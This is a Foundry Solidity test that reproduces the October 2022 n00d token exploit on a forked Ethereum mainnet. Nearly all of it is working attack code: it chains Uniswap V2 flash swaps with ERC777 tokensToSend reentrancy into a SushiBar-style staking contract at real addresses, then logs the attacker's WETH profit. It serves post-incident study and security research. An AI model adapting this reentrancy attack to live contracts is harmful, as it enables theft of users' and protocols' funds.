src/test/2022-10/N00d_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Analysis
8// https://twitter.com/BlockSecTeam/status/1584959295829180416
9// https://twitter.com/AnciliaInc/status/1584955717877784576
10// TX
11// https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea
12 
13interface sushiBar {
14    function enter(
15        uint256
16    ) external;
17    function leave(
18        uint256
19    ) external;
20}
21 
22contract ContractTest is Test {
23    IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA);
24    Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);
25    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
26    IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08);
27    sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08);
28    ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
29    uint256 i;
30    uint256 enterAmount = 0;
31    uint256 n00dReserve;
32 
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    function setUp() public {
36        cheats.createSelectFork("mainnet", 15_826_379);
37    }
38 
39    function testExploit() public {
40        registry.setInterfaceImplementer(
41            address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)
42        );
43        n00d.approve(address(Bar), type(uint256).max);
44        // The swap is performed 4 times.
45        int256 j;
46        for (j = 1; j < 5; j++) {
47            (n00dReserve,,) = Pair.getReserves();
48            Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
49        }
50        // Now all funds can be swapped back to WETH.
51        (n00dReserve,,) = Pair.getReserves();
52        Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));
53        uint256 amountIn = n00d.balanceOf(address(this));
54        (uint256 n00dR, uint256 WETHR,) = Pair.getReserves();
55        uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);
56        n00d.transfer(address(Pair), amountIn);
57        Pair.swap(0, amountOut, address(this), "");
58 
59        emit log_named_decimal_uint("Attacker WETH profit after exploit", WETH.balanceOf(address(this)), 18);
60    }
61 
62    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
63        // Resetting count to 0 so we perform re-entry twice each time we swap/loan.
64        i = 0;
65        enterAmount = n00d.balanceOf(address(this)) / 5;
66        Bar.enter(enterAmount);
67        Bar.leave(Xn00d.balanceOf(address(this)));
68        n00d.transfer(address(Pair), n00dReserve * 1000 / 997 + 1000);
69    }
70 
71    function tokensToSend(
72        address operator,
73        address from,
74        address to,
75        uint256 amount,
76        bytes calldata userData,
77        bytes calldata operatorData
78    ) external {
79        if (to == address(Bar) && i < 2) {
80            i++;
81            Bar.enter(enterAmount);
82        }
83    }
84 
85    function tokensReceived(
86        address operator,
87        address from,
88        address to,
89        uint256 amount,
90        bytes calldata userData,
91        bytes calldata operatorData
92    ) external {}
93}